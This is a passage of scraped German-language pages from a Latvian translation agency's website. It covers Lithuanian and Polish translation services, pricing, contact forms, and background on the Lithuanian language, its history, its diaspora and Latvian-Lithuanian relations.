Gemeinsamkeiten zwischen Lettland und Dänemark zu verschiedenen Themen gesucht. Die Botschaft organisiert auch kulturelle Veranstaltungen in Bezug auf Dänemark in Lettland, an denen sowohl dänische als auch lettische Vertreter teilnehmen. In einer der größten lettischen Zeitungen bekommen die Botschafter der nordischen Länder ebenfalls immer eine eigene Rubrik. Dort schreibt der Botschafter über aktuelle Themen aus dänischer Sicht. Mehrere Sprachschulen in Lettland, darunter auch das Skrivanek Language Learning Centre, bieten sowohl Einzel- als auch Gruppenunterricht in Dänisch für alle Alters- und Leistungsstufen an. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS DÄNISCHE: allgemeine und fachspezifische Übersetzungen; Eilaufträge; notariell beglaubigte Übersetzungen; Lokalisierung; maschinelle Übersetzung mit Bearbeitung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachkurse für Dänisch; Sprachprüfungen. SPRACHKOMBINATIONEN: Dänisch nach Englisch; Englisch nach Dänisch; Lettisch nach Dänisch; Dänisch nach Lettisch; Estnisch nach Dänisch; Dänisch nach Estnisch; Litauisch nach Dänisch; Dänisch nach Litauisch; Russisch nach Dänisch; Dänisch nach Russisch; Tschechisch nach Dänisch; Dänisch nach Tschechisch; Polnisch nach Dänisch; Dänisch nach Polnisch; Ukrainisch nach Dänisch; Dänisch nach Ukrainisch; Dänisch nach Spanisch; Spanisch nach Dänisch; Deutsch nach Dänisch; Dänisch nach Deutsch; Italienisch nach Dänisch; Dänisch nach Italienisch; Französisch nach Dänisch; Dänisch nach Französisch; Norwegisch nach Englisch; Englisch nach Norwegisch; Schwedisch nach Dänisch; Dänisch nach Schwedisch; Finnisch nach Dänisch; Dänisch nach Finnisch und andere. ÜBERSETZUNGEN, DIE WIR AM HÄUFIGSTEN VON/NACH ENGLISCH ANBIETEN: allgemeine und fachspezifische Übersetzungen; Eilaufträge; notariell beglaubigte Übersetzungen; Lokalisierung; maschinelle Übersetzung mit Bearbeitung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachkurse für Dänisch; Sprachprüfungen. SPRACHKOMBINATIONEN: Dänisch nach Englisch; Englisch nach Dänisch; Lettisch nach Dänisch; Dänisch nach Lettisch; Estnisch nach Dänisch; Dänisch nach Estnisch; Litauisch nach Dänisch; Dänisch nach Litauisch; Russisch nach Dänisch; Dänisch nach Russisch; Tschechisch nach Dänisch; Dänisch nach Tschechisch; Polnisch nach Dänisch; Dänisch nach Polnisch; Ukrainisch nach Dänisch; Dänisch nach Ukrainisch; Dänisch nach Spanisch; Spanisch nach Dänisch; Deutsch nach Dänisch; Dänisch nach Deutsch; Italienisch nach Dänisch; Dänisch nach Italienisch; Französisch nach Dänisch; Dänisch nach Französisch; Norwegisch nach Englisch; Englisch nach Norwegisch; Schwedisch nach Dänisch; Dänisch nach Schwedisch; Finnisch nach Dänisch; Dänisch nach Finnisch und andere. --- > Allgemeine und fachspezifische Übersetzungen, notariell beglaubigte Übersetzungen in litauischer Sprache. Dolmetschen und andere Sprachdienstleistungen für Litauisch. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/ - Translation Priorities: Optional ÜBERSETZUNG INS LITAUISCHE WIE VIEL KOSTET DIE ÜBERSETZUNG INS LITAUISCHE? In unserem Büro wird der Preis für jede Übersetzung aus dem und ins Litauische individuell für jede Anfrage festgelegt. Der Preis beinhaltet die Menge des zu übersetzenden Materials, die Übersetzungsfristen, die Besonderheit des Textinhalts, die Wiederholung des Textes in der Übersetzung, die grafische Bearbeitung, die Textformatierung, die Korrektur und alle anderen vom Kunden gewählten Leistungen. IST DIE PREISLISTE FÜR DIE ÜBERSETZUNG VERFÜGBAR? Ja, die Preisliste für schriftliche und mündliche Übersetzungen aus dem und ins Litauische ist in unseren Kundenverträgen enthalten. Bevor wir mit einem Übersetzungsprojekt beginnen, informieren unsere Projektmanager immer ausführlich über den Preis der Übersetzung. Der Preis für jeden Auftrag wird separat nach der aktuellen Preisliste von Skrivanek festgelegt und richtet sich nach der Anzahl der Wörter im Ausgangstext, der Textverdoppelung in der Übersetzung und anderen Merkmalen. Um einen Kostenvoranschlag für die Übersetzung zu erhalten, kontaktieren Sie uns oder senden Sie uns den zu übersetzenden Text. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Litauische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere litauischen Sprachdienstleistungen umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie eine Übersetzung ins Litauische? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE LITAUISCHE SPRACHE Litauisch ist eine baltische Sprache innerhalb der indogermanischen Sprachfamilie. Sie ist Amtssprache in Litauen, während sie als Minderheitensprache vor allem in Lettland, Estland und teilweise auch in Polen und Weißrussland gesprochen wird. Litauisch ist die Muttersprache von etwa 4 Millionen Menschen, hauptsächlich in Litauen, wo es die einzige Amtssprache ist. Es gehört zu den baltischen Sprachen und ist eng mit dem Lettischen verwandt. Es ist die älteste lebende Sprache der indogermanischen Familie. Von den drei baltischen Sprachen - Litauisch, Lettisch und Preußisch - nimmt das Litauische, was die alten Formen der indogermanischen Ursprache betrifft, den zweiten Platz ein: Die litauische Grammatik steht der indogermanischen Ursprache wesentlich näher als die lettische Grammatik. Es ist allerdings moderner als das im 18. Jahrhundert ausgestorbene Preußisch. Somit ist das Litauische heute die älteste lebende indogermanische Sprache. Litauisch wurde nicht von finno-ugrischen Sprachen beeinflusst, wie es beim Kurischen, Semgallischen, Selonischen und Lettischen der Fall war. Der Einfluss des Finno-Ugrischen macht sich im Norden Litauens bemerkbar, wo sich die von Kuren, Semgallen und Selonen bewohnten Gebiete befunden haben. Die Vermischung dieser Sprachen hat sich am stärksten auf die Wortbetonung in den Unterdialekten im Norden Litauens ausgewirkt. Litauisch und Lettisch sind miteinander verwandt. Beide Sprachen sollen sich bis zum dreizehnten Jahrhundert gemeinsam entwickelt haben, bevor sie sich zu eigenen Sprachen entwickelten. Die Ursprünge dieser Sprachen lassen sich bis ins dritte Jahrhundert v. Chr. zurückverfolgen, als die Ostseeküste von den alten Balten bewohnt wurde. Im Litauischen unterscheidet man zwischen zwei Hauptdialekten: Aukštaitisch und Samogitisch (Ober- und Niederlitauisch) Beide Dialekte teilen sich in drei Unterdialekte auf, die sich wiederum nochmals in 14 weitere Unterdialektvarianten unterteilen. Das älteste litauische Schrift, ein liturgischer Text, stammt aus dem Jahr 1525 und das erste gedruckte Buch in litauischer Sprache wurde aus religiösen Gründen 1547 in Königsberg hergestellt - der übersetzte Katechismus von Martynas Mažvydas, der das erste Buch in litauischer Sprache war. Das Buch ist im südsamogitischen Unterdialekt geschrieben. Es gibt jedoch auch Zeichen des westlichen oberlitauischen Unterdialekts Ungefähr 20 % der Wörter in diesem Buch sind hauptsächlich slawistische Lehnwörter. Vom 16. bis zum Ende des 18. Jahrhunderts gab es im Großfürstentum Litauen zwei Varianten des Schriftsystems: die Ostschrift, die auf dem östlichen oberlitauischen Unterdialekt um Vilnius basierte, sowie die zentrale Variante, die in Mittellitauen in der Nähe der Stadt Kėdainiai entstand und auf der einheimische Variante des westlichen oberlitauischen Unterdialekts beruhte. Jonas Jablonskis leistete einen wichtigen Beitrag zur Entwicklung der litauischen Standardsprache, die auf dem oberlitauischen Dialekt beruht. Das standardisierte Litauisch entwickelte sich unter schwierigen Bedingungen für die Nation, da die Russifizierungspolitik des Russischen Reiches nach 1864 ein halbes Jahrhundert lang die Veröffentlichung von Literatur in litauischer Sprache auf dem Gebiet des heutigen Litauens verboten hatte. Dennoch schmuggelte man heimlich Bücher hinein. Von 1863 bis 1904, als das Russische Reich die Verwendung lateinischer Buchstaben auf seinem Territorium verbot (Litauen gehörte damals zum Russischen Reich), riskierten viele Menschen ihr Leben, um litauische Bücher aus Preußen zu bringen. Heute werden diese Bücherschmuggler als Nationalhelden gefeiert und in Litauen gibt es ein Denkmal für ihren selbstlosen Patriotismus, das vermutlich einzige seiner Art. Die meisten Lehnwörter im Litauischen stammen aus slawischen (Altrussisch, Weißrussisch, Polnisch und Russisch) und germanischen Sprachen. Dies erklärt sich aus dem historischen Einfluss dieser Sprachen sowie aus den engen Beziehungen zwischen dem Großfürstentum Litauen und Preußen. Neben diesen Entlehnungen weist das Litauische auch eine geringe Anzahl von Entlehnungen aus dem Finno-Ugrischen und anderen baltischen Sprachen auf. Im 20. Jahrhundert kamen die meisten Lehnwörter aus der russischen Sprache. Nach der Unabhängigkeitserklärung Litauens haben Entlehnungen aus dem Englischen (Anglizismen) zugenommen. Viele beliebte Vornamen sind mit der Natur verbunden. Dies führt auf die Antike zurück, als die Litauer wie die Letten eng mit der Natur verbunden waren und ihren Kindern die Namen von Bäumen, Naturphänomenen oder Blumen gaben. Einige Wörter, z. B. Rūta (Blume, Heilpflanze), Eglė (Fichte), Aušra (Morgen) und Gintaras (Bernstein), sind auch heute noch geläufige Namen. Eine der interessantesten Tatsachen über die litauische Sprache und die Litauer ist die Möglichkeit, anhand ihres Nachnamens festzustellen, ob eine Frau verheiratet ist. Wenn sich eine litauische Frau bei ihrer Heirat für den Nachnamen ihres Mannes entscheidet, wird die Endung -ienė an ihren Nachnamen angehängt. Wenn zum Beispiel eine Frau mit dem Nachnamen Kazlauska heiratet, wird ihr Nachname zu Kazlauskienė. Wenn der Nachname einer Frau auf -ytė oder -aitė endet, ist sie normalerweise nicht verheiratet. Diese Tradition verblasst jedoch allmählich und litauische Frauen entscheiden sich oft dafür, ihre Namen mit der Endung -ė zu schreiben (in diesem Fall Kazlauskė statt Kazlauskaite oder Kazlauskiene), so dass man den Familienstand einer Frau nicht allein anhand ihres Nachnamens erkennen kann. DAS LITAUISCHE ALPHABET Das heutige litauische Schriftsystem ist überwiegend morphologisch. Es wurde vom Ende des 19. bis zum Beginn des 20. Jahrhunderts etabliert. Schon in den ältesten Schriften (aus dem 16. Jahrhundert) wird im Litauischen das lateinische Alphabet verwendet. Es wurde überarbeitet und besteht heute aus 32 Buchstaben: 12 Vokale (a, ą, e, ę, ė, i, į, y, o, u, ų, ū) und 20 Konsonanten (b, c, č, d, f, g, h, j, k, l, m, n, p, r, s, š, t, v, z, ž). Zur Kennzeichnung der Phoneme /x/, /ʣ/ und /ʤ/ können auch die Buchstabenkombinationen „ch“, „dz“ und „dž“ verwendet werden. In der Phonologie werden 14 Vokal- und 45 Konsonantenphoneme unterschieden. Vokalphoneme können allein als Silben fungieren, Konsonantenphoneme hingegen nicht. Im Gegensatz zum Lettischen können alle litauischen Konsonanten, mit Ausnahme des j, das immer weich ist, je nach Position sowohl hart als auch weich sein. WIE SCHWIERIG IST DIE LITAUISCHE SPRACHE? Das Litauische ist wie Gehirnjogging. Die Sprache ist alt und ähnelt dem klassischen indischen Sanskrit und teilweise auch dem Lateinischen und Griechischen. Sprachforscher untersuchen bis heute die älteste lebende indogermanische Sprache. Die Komplexität des Litauischen hängt weitgehend mit seinem Status als älteste indogermanische Sprache zusammen. Litauisch gilt als eine der schwierigsten Sprachen der Welt. Nach Angaben des US Foreign Service Institute wird Litauisch als sehr schwierige Sprache eingestuft, steht jedoch hinter Arabisch, Koreanisch oder Chinesisch. Sicherlich spielt hier auch die litauische Grammatik eine Rolle, die keiner anderen Sprache auf der Welt ähnelt, sowie die Lautbildung. Litauische Wörter können vielfach betont werden, was je nach Verwendung die Bedeutung völlig verändern können. Die Litauer verwenden viele Diminutive und haben keine Schimpfwörter. Wenn Litauer das Bedürfnis haben zu fluchen, können sie jemanden als Schlange oder Kröte bezeichnen. Im litauischen Alphabet gibt es den Buchstaben "ė", den es in keiner anderen Sprache gibt. Dieser Buchstabe gilt als Symbol der Weiblichkeit, da er am Ende von Frauennamen verwendet wird. Litauisch lesen zu lernen, dürfte nicht schwer sein, denn die Buchstaben werden so ausgesprochen, wie sie geschrieben werden. Es ist schwieriger, die Geschlechter von Substantiven zu unterscheiden. Die Litauer selbst scherzen, dass der schnellste Weg, Litauisch zu lernen, darin besteht, sich in eine Litauerin zu verlieben. DOLMETSCHER UND ÜBERSETZER FÜR DIE LITAUISCHE SPRACHE Unser Team von Dolmetschern und Übersetzern arbeitet sowohl mit der Übersetzung von Standarddokumenten als auch mit notariell beglaubigten Übersetzungen. Natürlich ist auch das Simultandolmetschen möglich. Skrivanek nimmt auch das Korrekturlesen und die stilistische Verbesserung von Texten in litauischer Sprache vor und überprüft gegebenenfalls auch die Terminologie des Textes. Folgende Texte aus dem/ ins Litauische werden am häufigsten übersetzt: E-Commerce-Inhalte und -Homepages, Produktetiketten, Werbeslogans, SEO-Texte, Google-Schlüsselbegriffe, Lokalisierung und Adaption von Inhalten sowie Übersetzungen von Marketing-, Rechtsinhalten und geschäftlichen Dokumenten. Weil Lettland und Litauen eng miteinander zusammenarbeiten, übersetzen wir auch in folgenden Branchen: Ausrüstung und Technik, Finanzen, Medizin, Kommunikation, Öffentlichkeitsarbeit, Verkehr, Wissenschaft, Landwirtschaft, Textilindustrie, Tourismus, Dokumente der Europäischen Union, Industrie, Naturwissenschaften, Einzelhandel und Technik. Für natürliche Personen übersetzen wir Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente und vieles mehr. WO UND WIE VIELE MENSCHEN SPRECHEN LITAUISCH? Litauisch ist die Amtssprache in Litauen und wird von mehr als 85% der Bevölkerung als Muttersprache gesprochen. 90% der Bevölkerung sprechen fließend Litauisch. Litauisch wird auch außerhalb der Landesgrenzen verwendet. Viele Litauischsprechende leben in Polen, wo Litauisch in das lokale Bildungsprogramm aufgenommen wurde. Seit dem 19. Jahrhundert hat die zunehmende Auswanderung dazu geführt, dass sich auch die Bewohner anderer Länder mit der Sprache identifizieren. Infolgedessen haben sich in vielen anderen Ländern, darunter in den USA, im Vereinigten Königreich und in Norwegen, Gemeinden von Litauischsprechenden gebildet. Es gibt also insgesamt um die 4 Millionen Sprecher dieser Sprache weltweit. Für etwa 2,4 Millionen Menschen der Bevölkerung ist Litauisch die Muttersprache. Neben der litauischen Diaspora in den Nachbarländern sind vom 19. bis zum 21. Jahrhundert Litauer auch auf andere Kontinente ausgewandert. In den USA lebt der größte Teil der litauischen Gemeinschaft, schätzungsweise 600. 000 Litauer. Die litauische Auswanderung in die Vereinigten Staaten begann im 19. Jahrhundert und wurde während der sowjetischen Besatzung unterbrochen, als Reisen und Auswanderung stark eingeschränkt waren. Chicago gilt als die Hauptstadt der Litauer in den USA. Seit dem Fall der UdSSR 1991 sind etwa 200. 000 Litauer in die Vereinigten Staaten ausgewandert. In Kanada leben circa 60. 000 Litauer. Litauische Gemeinschaften in Mexiko und Südamerika (Argentinien, Brasilien, Kolumbien, Uruguay und Venezuela) entstanden vor dem Zweiten Weltkrieg, ab Ende des 19. und Anfang des 20. Jahrhunderts. Derzeit gibt es keine weiteren Auswanderungswellen in die genannten Zielländer, da die wirtschaftlichen Bedingungen nicht besser sind als in Litauen. Derzeit könnten sich etwa 230. 000 Litauer in diesen Ländern aufhalten. Ende des 19. und im 20. Jahrhundert bildeten sich in Südafrika hauptsächlich jüdisch litauische Gemeinden. Litauische Gemeinden in den Regionen der ehemaligen Sowjetunion bildeten sich während der sowjetischen Besatzung. Die Anzahl der Litauer in Sibirien und Zentralasien stieg stark an, als eine große Zahl von Litauern in diese Gebiete zwangsdeportiert wurde. Danach kehrten die meisten von ihnen jedoch nach Litauen zurück. Später wurden viele Litauer in andere Gebiete der Sowjetunion zwangsversetzt, um dort zu arbeiten. Nach der Unabhängigkeitserklärung Litauens kehrten einige jedoch nicht nach Litauen zurück. Derzeit leben etwa 86. 000 Litauer in Russland. Die litauischen Gemeinschaften in Nordwesteuropa (Vereinigtes Königreich, Irland, Schweden, Norwegen und Island) sind ziemlich neu und begannen sich erst nach der Unabhängigkeit Litauens 1990 zu bilden. Diese Migration nahm 2004 mit dem Eintritt in die EU nochmals zu. Wahrscheinlich gibt es in Irland die meisten Litauer pro Einwohner; etwa 45. 000 Litauer (von denen etwa die Hälfte registriert ist) machen mehr als 1% der Gesamtbevölkerung Irlands aus. Etwa 47. 000 Litauer leben in Norwegen und sind mit 0,85% an der norwegischen Gesamtbevölkerung und 4,81% an allen ausländischen Einwohnern in Norwegen schnell zur zweitgrößten ethnischen Minderheit des Landes geworden. In Island leben etwa 3. 500 Litauer, was 1% der Gesamtbevölkerung entspricht. Die litauische Gemeinschaft in Deutschland begann sich nach dem Zweiten Weltkrieg zu bilden. Im Jahr 1950 gründeten sie in Diepholz ein litauisches Gymnasium, eine Privatschule für Kinder litauischer Flüchtlinge. Jahrzehntelang war das litauische Gymnasium das einzige Gymnasium außerhalb des Ostblocks, das Kurse in litauischer Geschichte, Sprache und Kultur anbot. Im Jahr 1954 kaufte die litauische Gemeinschaft das Gut Rennhof mit seinem zwölf Hektar großen Park in Lampertheim-Heitenfeld. Die Schule wurde dorthin verlegt und blieb bis heute bestehen - https://www. gimnazija. de/de. Die Schule trägt derzeit den Namen Privates Litauisches Gymnasium. Auch in Australien gibt es litauische Gemeinden. Weil Australien aber so weit weg von Europa ist, blieb die Auswanderung eher unbedeutend. LITAUISCHE SPRACHE IM GESCHÄFTSLEBEN Litauisch als Geschäftssprache wird in erster Linie nur in Litauen verwendet. Es ist nützlich, einige höfliche, einfache Redewendungen auf Litauisch zu kennen, um Geschäftsbeziehungen mit litauischen Unternehmern aufzubauen. Das wird von Litauern sicherlich sehr geschätzt, denn ihre Sprache ist der Stolz eines jeden Litauers. Um Geschäftsbeziehungen aufzubauen sprechen litauische Unternehmer hauptsächlich auf Russisch, Polnisch und Englisch. Hauptpartner sind die Mitgliedstaaten der EU, in die Autoteile und Getreideerzeugnisse exportiert werden. Die Litauer sind mehrsprachig und sprechen häufig Russisch, Englisch, Französisch und Deutsch als Zweitsprachen. Litauen gehört zu den fünf EU-Ländern mit der größten Anzahl von Menschen, die mindestens zwei Fremdsprachen sprechen. 90% der Bevölkerung können sich in mindestens einer Fremdsprache verständigen und etwa die Hälfte der Litauer beherrschen zwei Fremdsprachen. Forschern zufolge arbeiten litauische Unternehmen eher mit fremden Ausländern, als mit fremden Litauern zusammen. Die wichtigsten Handelspartner sind Russland, Deutschland, Lettland, Estland, Polen, die Niederlande und Weißrussland. Mehr als 60% der Exporte sind Mineralien, Chemikalien, Textilien und Bekleidung, Maschinen und Ausrüstungen, Lebensmittel, Holz und Holzerzeugnisse sowie Kunststoffe. Importierte Waren sind hauptsächlich Mineralien, Transportausrüstungen, Chemikalien, Textilien und Bekleidung. BEZIEHUNGEN ZWISCHEN LITAUEN UND LETTLAND Derzeit leben etwa 27. 000 Litauer in Lettland. Somit zählen sie zur fünftgrößten Minderheit in Lettland. Unabhängig von ihrer Staatsangehörigkeit leben etwa fünftausend Bürger der Republik Litauen dauerhaft in Lettland. Die meisten Litauer leben in Riga und in der Nähe der litauischen Grenze - in Liepāja und der Region Liepāja, in der Gemeinde Bauska, in der Gemeinde Saldus, in Jelgava und der Gemeinde Jelgava, in der Gemeinde Dobele, in Daugavpils und der Gemeinde Daugavpils. Die ersten Litauer ließen sich im 7. ─ 12. Jahrhundert im heutigen Lettland nieder. Mit der Entwicklung des verarbeitenden Gewerbes vom Beginn des 19. bis zum Ende des 20. Jahrhunderts wanderten deutlich mehr Litauer nach Lettland ein. Litauer gingen auf der Suche nach Arbeit und Bildung nach Riga, Liepāja, Bauska, Jelgava und Ventspils. Viele Litauer arbeiteten in der Rigaer Waggonbaufabrik, dem Gummihersteller Provodnik, in Sägewerken, Wäschespinnereien, Brauereien, Möbelwerkstätten, Straßenbahndepots, Häfen und anderen Orten. Nach der Unabhängigkeitserklärung von Litauen und Lettland 1918 kehrten einige Litauer nach Litauen zurück. Um Litauen näher zu sein, ließen sich in den 1960er und 1970er Jahren viele ehemalige politische Gefangene und Exil-Litauer, die von den litauischen Sowjetbehörden nicht in ihre Heimat zurückkehren durften, in Lettland nieder (Daugavpils, Jelgava, Liepāja, Riga, deren Umgebung und anderswo). Von 1988 bis 1995 beteiligten sich die lettischen Litauer aktiv an der Volksfront Lettlands. Lettland und Litauen sind durch eine enge Zusammenarbeit, gemeinsame Interessen im Ostseeraum und eine strategische Partnerschaft mit der Europäischen Union und der NATO verbunden. Auf vielen Ebenen findet ein häufiger und aktiver politischer Dialog zwischen den Nationen statt. Zwischen den nationalen Parlamenten, den sektoralen Ministerien, den Gemeinden und den Nichtregierungsorganisationen entwickelte sich eine effektive Zusammenarbeit. Der gemeinsame geschichtliche Hintergrund Lettlands und Litauens sowie die engen persönlichen Beziehungen zwischen den Bürgern begünstigen die nichtstaatliche Zusammenarbeit, ermöglichen die Durchführung grenzüberschreitender Projekte und fördern die Zusammenarbeit in einer Vielzahl von Bereichen wie Kultur, Bildung, Tourismus und anderen Bereichen. Litauen ist einer der wichtigsten Handelspartner Lettlands und zwischen den beiden Ländern bestehen ständige wirtschaftliche Beziehungen. Die Bildungszusammenarbeit zwischen Lettland und Litauen basiert auf den trilateralen Kooperationsabkommen zwischen den baltischen Staaten sowie im Rahmen von Bildungsprogrammen und -projekten der baltisch-nordischen Länder, der Länder des Ostseeraums, des Europarats und der EU. Auf der Grundlage des interministeriellen Abkommens über den Austausch von Studierenden, Forschern und Lehrpersonal findet ein reger Austausch von Studierenden, Doktoranden, Dozenten und Forschern statt. Kooperationsabkommen wurden von lettischen Hochschuleinrichtungen mit der Universität Vilnius, der Universität Klaipeda, der Vytautas-Magnus-Universität, der Mikolas-Romeris-Universität, der Medizinischen Universität Kaunas, der Juristischen Universität Vilnius, der Litauischen Akademie für Musik und Theater, der Kunstakademie Vilnius, der Litauischen Universität für Erziehungswissenschaften usw. unterzeichnet. Das Litauische Gymnasium Riga ist seit 1991 in Riga tätig - https://www. rlvs. lv. Die lettische Nationaloper arbeitet aktiv mit der litauischen Nationaloper zusammen und tauscht Künstler und Dirigenten aus. Die Kunstmuseen, Nationalbibliotheken und Archive der beiden Länder arbeiten eng zusammen. Das Lettische Nationale Kunstmuseum unterhält eine erfolgreiche Zusammenarbeit mit dem Litauischen Nationalen Kunstmuseum in Vilnius. Litauisch wird als Wahlfach und als Teil des Grundstudiums an verschiedenen lettischen Universitäten angeboten. Weitere Informationen zum Studium an der Rigaer Stradins Universität finden Sie hier und an der Universität von Lettland hier. Die Botschaft Litauens in Lettland mit Sitz in Riga unterstützt litauische Bürger in Lettland - https://lv. mfa. lt/en UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE LITAUISCHE SPRACHE: allgemeine und fachspezifische Übersetzungen. notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen Sprachkurse Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Litauisch; Litauisch nach Lettisch; Estnisch nach Litauisch; Litauisch nach Estnisch; Litauisch nach Polnisch; Polnisch nach Litauisch; Russisch nach Litauisch; Litauisch nach Russisch; Tschechisch nach Litauisch; Litauisch nach Tschechisch; Ukrainisch nach Litauisch; Litauisch nach Ukrainisch; Englisch nach Litauisch; Litauisch nach Englisch; Litauisch nach Spanisch; Spanisch nach Litauisch; Deutsch nach Litauisch; Litauisch nach Deutsch; Italienisch nach Litauisch; Litauisch nach Italienisch; Französisch nach Litauisch; Litauisch nach Französisch; Dänisch nach Litauisch; Litauisch nach Dänisch; Norwegisch nach Litauisch; Litauisch nach Norwegisch; Schwedisch nach Litauisch; Litauisch nach Schwedisch; Finnisch nach Litauisch; Litauisch nach Finnisch und andere. UNSERE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN FÜR DIE LITAUISCHE SPRACHE: Allgemeine und Fachübersetzungen in Litauisch. notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen in die litauische Sprache; Sprachkurse für Litauisch Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Litauisch; Litauisch nach Lettisch; Estnisch nach Litauisch; Litauisch nach Estnisch; Litauisch nach Polnisch; Polnisch nach Litauisch; Russisch nach Litauisch; Litauisch nach Russisch; Tschechisch nach Litauisch; Litauisch nach Tschechisch; Ukrainisch nach Litauisch; Litauisch nach Ukrainisch; Englisch nach Litauisch; Litauisch nach Englisch; Litauisch nach Spanisch; Spanisch nach Litauisch; Deutsch nach Litauisch; Litauisch nach Deutsch; Italienisch nach Litauisch; Litauisch nach Italienisch; Französisch nach Litauisch; Litauisch nach Französisch; Dänisch nach Litauisch; Litauisch nach Dänisch; Norwegisch nach Litauisch; Litauisch nach Norwegisch; Schwedisch nach Litauisch; Litauisch nach Schwedisch; Finnisch nach Litauisch; Litauisch nach Finnisch und andere. --- > Allgemeine und fachspezifische Übersetzungen, Dolmetschen, Lokalisierung und andere polnische Sprachdienstleistungen. Erhalten Sie ein kostenloses Angebot innerhalb von 15 Minuten! - Published: 2025-01-06 - Modified: 2025-07-10 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS POLNISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS POLNISCHE? Die Kosten für die Übersetzung ins Polnische werden für jeden Auftrag individuell berechnet. Der Preis für Konsekutivdolmetschen und Simultandolmetschen hängt von verschiedenen Parametern Ihres Auftrags ab, z. B. von der Dauer der Dienstleistung, dem Ort der Veranstaltung, den Reisekosten, den Tagessätzen; beim Konsekutivdolmetschen kommen noch die Kosten für die technische Unterstützung hinzu, die von der Anzahl der Teilnehmer an der Veranstaltung abhängen, usw. Die Preise für schriftliche Übersetzungen variieren je nach Inhalt und Lesbarkeit des Materials, Übersetzungsfristen, Wiederholungen im Text, Komplexität und Formatierung von Bildern und Grafiken, Korrektur und anderen vom Kunden gewünschten Zusatzleistungen. GIBT ES EINE PREISLISTE? Ja, natürlich. Die Preisliste der schriftlichen Übersetzung sowie des Dolmetschens (konsekutiv und simultan), der Lokalisierung und der Adaption in die und aus der polnischen Sprache ist ein fester Bestandteil unserer Kooperationsvereinbarung mit dem Kunden. Die Projektmanager von Skrivanek Baltic unterbreiten vor Auftragsbeginn stets einen Kostenvoranschlag. Innerhalb von 30 Minuten bekommen Sie ein Preisangebot. Bei der Preiskalkulation für schriftliche Aufträge werden die Anzahl der Wörter und Wiederholungen im Originaltext, die Komplexität der grafischen Elemente und andere Aspekte berücksichtigt. Um ein Preisangebot zu erhalten, senden Sie uns Ihr Material an unsere E-Mail. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Polnische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in polnischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie nach einer Sprachdienstleistung auf Polnisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer 